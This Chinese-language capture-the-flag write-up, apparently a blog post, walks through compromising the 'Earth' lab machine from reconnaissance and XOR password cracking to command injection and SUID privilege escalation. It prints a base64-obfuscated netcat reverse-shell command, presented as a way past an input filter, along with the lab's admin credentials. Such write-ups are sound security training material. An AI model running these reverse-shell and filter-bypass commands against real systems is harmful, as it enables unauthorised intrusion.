Earth命令注入渗透测试

目录

1      信息收集....

1.1       IP地址探测....

1.2       对目标主机进行网络扫描....

1.3       目录枚举....

1.4       密码破解....

2      漏洞查找....

2.1       命令行注入漏洞....

2.2       nc传输文件分析....

3      漏洞利用....

3.1       利用命令行漏洞获取目标主机的SHELL.

3.2       获取交互式SHELL.

4      提权....

4.1       利用SUID位进行提权....

5      总结....

  1. 信息收集
    1. IP地址探测

使用arp-scan进行IP地址探测

发现目标主机ip地址为172.30.1.130

    1. 对目标主机进行网络扫描

使用工具nmap

-v 显示详细信息(支持多个v显示更详细)

-p- 扫描所有端口

-T4 进行野蛮的扫描(速度快,常用的选项)

-sV 显示端口服务的版本

-sC 使用nmap自带的脚本引擎扫描

我们通过Nmap扫描发现目标主机有两个域名资产

我们的第一个思路就可以通过目标主机的Web进行

HTTP探测

http://172.30.1.134

https://172.30.1.134

通过访问HTTP和HTTPS并没有发现有用信息,联想到通过扫描发现的两个域名

DNS1:earth.local

DNS2:terratest.earth.local

进行域名解析(hosts文件)

域名写入/etc/hosts

通过域名访问

http://earth.local/  http://terratest.earth.local/ 发现一个信息发送界面作用未知三串疑似密文的数字

    1. 目录枚举

目录枚举的工具有很多,我们使用kali自带的dirb进行后台扫描

使用dirb扫描https://earth.local/站点

我们发现了一个admin响应码301的目录 我们通过访问看到这是一个管理员的登录窗口。还发现了一个cgi-bin的目录403我们被拒绝访问。

使用dirb扫描https://terratest.earth.local/ 站点

看到第一个还是cgi-bin的目录,还是403访问不了

第二个index.html的目录,这是网站的首页文件

第三个robots.txt 这个文本文件是告诉网站搜索引擎哪些内容不应被搜索引擎爬取

这是种约定俗成的规则,不能被爬取的内容一定是很重要,越是不让我们访问,我们就应该越访问

我们使用curl查看页面信息这样比较方便

-k 不对证书做检查

我们发现了一个/testingnotes.*文件,我们猜测这应该是一个以txt后缀的文本文件

我们直接使用curl看一下这个文件

我们从文件内容可以看到这是XOR的加密方式,得知了一个testdata.txt的文本文件用于测试加密,管理员的用户名terra。

我们得知了一个testdata.txt的文本文件用于测试加密,我们直接使用curl查看一下这个文本文件的内容。

得到了加密方式XOR,用来加密的内容也有了

我们可以看到这是一个16进制的数组

    1. 密码破解

我们使用CyberChef来解密一下

这样我们就得到了管理员的密码。

https://earth.local/admin

用户名 terra

密码 earthclimatechangebad4humans

  1. 漏洞查找
    1. 命令行注入漏洞

我尝试登录试试

看到一个命令行,我们试着输入一下,可以正常输出

探测命令注入的流程:

1. 是否调用系统命令

2. 命令或命令的参数是否可控【确认可控字段】

3. 能否拼接注入命令

4. 能否通过代理(如Burp suite)拦截修改命令

    1. nc传输文件分析

利用命令执行漏洞获取系统的SHELL-GetSHELL

  1. 确认目标系统是否有nc工具:which nc

  1. 漏洞利用
    1. 利用命令行漏洞获取目标主机的SHELL

Kali打开4444端口侦听,等待目标主机连接

Kali打开4444端口侦听,等待目标主机连接

程序用户发现不能执行IP地址,所以进行编码转换绕过

反弹SHELL命令转换为Base64的编码

解密后传给bash

转换后Base64的编码解密

echo 'bmMgMTcyLjMwLjEuMjAgNDQ0NCAtZSAvYmluL2Jhc2gK' | base64 -d | bash

我们已经获得了目标主机的SHELL

Id验证是否拿到SHELL

来自172.30.1.130的连接

    1. 获取交互式SHELL

可以看到已经拿到目标主机的交互式SHELL

使用python拿到交互式SHELL

  1. 提权
    1. 利用SUID位进行提权

查找系统中由SUID权限的文件

我们看到一个reset_root的文件,这应该是一个重置root密码的文件

我们对这个文件做检查

对该文件做分析,我们使用kali中的工具

使用nc把该文件传给kali

使用kali做侦听

通过重定向传输该文件

校验数据完整性—hash(哈希)算法

md5sum—计算文件的MD5值(128位)

md5sum /usr/bin/reset_root(靶机)

md5sum reset_root(kali)      确保一致

利用ltrace跟踪调用情况

发现没有这三个目录

那我们就去创建这三个目录

使用touch创建这三个目录

创建之后我们运行这个文件

运行之后我们可以看到密码已经重置为Earth

我们已经登录成功了,拿到root权限了

查看当前目录下的旗

我们看到了地球,这表明已经夺旗成功了

  1. 总结

1、使用arp-scan只能用在局域网环境探测存活主机IP地址。

2、在开始没有思路时可以对目标主机的web下手。

3、目录枚举时要选对合适的字典,才能更精准的把控目标的信息。

4、加密密码是16进制我们要把它先转换。

5、获得管理员密码和账号登录可以先id确认一下是否有回显。

6、再确认目标主机是否有nc,因为我们要使用kali的工具进行分析。

7、使用目标主机连接kali,发现IP地址不能被输入,我们可以使用base64加密,欺骗目标主机,或者可以把id地址转换成十进制绕过达到欺骗目标主机的目的。

8、由于目标主机限制太多,不能肆意发挥,所以我们把需要分析的文件,发动我们的kali中,kali工具较多,方便我们进行文件分析。

9、文件传输后我们使用md5sum—计算文件的MD5值(128位)校验一下数据的完整性。

10、ltrace工具:跟踪进程调用库函数的情况运行文件查看在哪一步出错,精准把控。

  • 36
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽子二三

您的鼓励是我最大的前进动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值